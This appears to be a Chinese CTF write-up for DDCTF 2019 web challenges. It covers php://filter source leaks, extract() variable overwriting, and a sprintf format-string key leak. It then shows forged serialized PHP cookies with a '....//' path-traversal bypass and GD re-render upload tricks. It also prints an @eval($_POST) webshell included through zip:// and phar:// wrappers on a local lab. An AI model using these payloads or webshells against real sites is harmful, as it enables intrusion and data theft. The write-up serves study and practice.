2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)

冷暖自知 提交于 2020-04-27 06:50:44

滴~

先上大佬的WP(https://impakho.com/post/ddctf-2019-writeup) ~~~膜

第一题设计的是base64和文件包含,源码泄露和变量覆盖并且脑洞的一题目

引用这位大佬的WP里的图片(https://www.cnblogs.com/sijidou/p/10725355.html)

题目的url看上去就像是文件包含,确实。

先是base64第二解码,然后是16进制再转字符串,是flag.jpg,呢么可以用php://filter读取下源码

源码里有博客链接,进去后找到个.practice.txt.swp这样的文章中的实例提示。呢么就尝试这进入,然后绕过正则对!的限制

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

因为他把config替换成了!,呢么就直接利用文件包含读呗

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
    {
        echo $flag;
    }
    else
    {
        echo'hello';
    }
}

?>

简单的变量覆盖,$k可以用php://input为空,$uid=为空就完事了

 

 

 

 

 

 

WEB 签到题

emmmmm,这题看了WP挺久,因为我想把源码都看懂,最后看懂了,发现。。emmm,简单,代码审计还是要多看理解下,多长点知识,补充自己不知道的点.

一开始的需要凭自己敏锐的嗅觉去发现,或者burp抓包可以看到,header头中,ddctf_username为空,试着admin,然后就给了两个文件路径

先直接上源码,因为没做,所以直接看的大佬WP,学习的

/app/Application.php

Class Application {
    var $path = '';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

/app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";

    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );
    }
}

$ddctf = new Session();
$ddctf->index();

这其实也是PHP序列化的题目,但是设计到了MD5的加盐和PHP代码审计

我的PHP代码审计之路:先是获得cookie,cookie是先把

$userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

这一串序列化,然后md5加盐(即把'slat+序列化后的cookie'md5加密)然后加到序列化后的值后面,像这样的一串

a:4:{s:10:"session_id";s:32:"3853b51fc9cd327af530a6c09e11259d";s:10:"ip_address";s:14:"223.104.64.208";s:10:"user_agent";s:11:"curl/7.61.0";s:9:"user_data";s:0:"";}97ce8958578b78e4d91ca007527dfa53

呢么我们肯定要知道eancrykey的值,才能伪造cookie,然后反序列化,因为是18个字符,猜测flag地址为../config/flag.txt,但是会把../和..\\置空,呢么可以用....//config/flag.txt来绕过.

首先是获取eancrykey的值

if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

前面的if可以不用管,第一次获得的cookie不用改就好,然后POST nickname=%s 就可以输出eancrykey     这里看一下foreach,这是个遍历数组(https://www.cnblogs.com/limeng951/p/5623607.html),并且as $k=>$v,是下标和值的对应方式,然后sprintf是格式化函数,第一次sprintf('welcome my friend %s',%s),然后$data没变,还是有%s,$data='welcome my friend %s',那么第二次遍历的就是$data=sprint('welcome my friend %s',eancrykey),然后$data=welcome my friend $eancrykey,知道了eancrykey后,就可以伪造cookie,impakho师傅直接用Application类序列化,看了另一个人的WP,是用session类来先伪造session,然后再序列化.这样就麻烦了,感觉简单的还是用Application类直接构造,

序列化的代码

<?php
Class Application {
    var $path = '....//config/flag.txt';

    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}
$a=new Application();
echo serialize($a);
?>

序列化出来的字符串:O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";},再用得到的eancrykey ,md5加盐后,加再字符串后,并且urlencode一下,存到cookie中请求

ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525

然后就可以得到flag

 

 

Upload-IMG

这题长见识了,我自己也搭了个上传靶场upload-labs-master,并且自己实验了一下,二次渲染后,结合php本地包含,成功执行

配置了一下php环境,然后上传到

先随便将一张jgp图片上传,然后下载服务器端上的图片,发现经过了渲染,gd库处理

然后利用大佬提到链接里的脚本(https://xz.aliyun.com/t/2657#toc-13),处理一下

然后再上传上去

经过脚本处理后的图片,用winhex打开,发现已经加入phpinfo字串

然后结合文件包含漏洞ok

具体原理可以查看文章,记得这个知识点

并且我自己玩了下包含的zip://和phar://伪协议

<?php
@eval($_POST[sky]);

然后命名为sky.php,再压缩重命名为sky.jpg,上传后,利用http://127.0.0.1/upload-labs-master/include.php?file=zip://upload/sky.jpg#sky.php

菜刀链接发现连接不上

然后改用http://127.0.0.1/upload-labs-master/include.php?file=phar://upload/sky.jpg/sky.php,就能菜刀链接了

zip:// 格式是 zip://xxx.png%23shell.php

phar://格式是phar://xxx.png/shell.php

 

写了半天,发现题目还是能进?我要去玩玩.前面的题目都复现成功。

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!